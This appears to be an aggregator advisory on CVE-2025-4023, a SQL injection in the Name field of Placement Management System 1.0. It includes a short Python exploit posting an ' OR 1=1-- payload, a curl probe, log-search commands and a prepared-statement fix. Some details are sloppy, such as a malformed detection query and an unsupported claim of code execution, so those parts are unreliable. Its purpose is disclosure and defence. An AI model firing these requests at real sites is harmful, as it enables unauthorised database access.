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How CVE-2025-4023 Works
The vulnerability exists in the `/add_company.php` file of Placement Management System 1.0 due to improper input sanitization of the `Name` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access. The flaw allows remote exploitation without authentication (CVSS:4.0 AV:N/AC:L/PR:N). The SQL injection occurs when user-supplied input is directly concatenated into SQL statements, enabling attackers to manipulate queries, extract sensitive data, or execute arbitrary commands.
DailyCVE Form
Platform: Placement Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
import requests target = "http://target.com/add_company.php" payload = "' OR 1=1--" data = {"Name": payload} response = requests.post(target, data=data) print(response.text)
Detection
SELECT FROM logs WHERE input LIKE "%' OR 1=1--%";
Protection
// Use prepared statements $stmt = $conn->prepare("INSERT INTO companies (name) VALUES (?)"); $stmt->bind_param("s", $_POST['Name']); $stmt->execute();
Mitigation
1. Patch `/add_company.php` with parameterized queries.
2. Deploy WAF rules to block SQLi patterns.
3. Restrict database user permissions.
Analytics
- Attack Vector: Remote (HTTP POST)
- Impact: Data leakage, RCE possible
- Exploitability: High (public exploit available)
Commands
Check for vulnerable endpoints curl -X POST -d "Name=test" http://target.com/add_company.php
Log Analysis
grep "add_company.php" /var/log/apache2/access.log | grep -i "union|select"
Patch Diff
- $sql = "INSERT INTO companies VALUES ('".$_POST['Name']."')"; + $stmt = $conn->prepare("INSERT INTO companies (name) VALUES (?)");
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode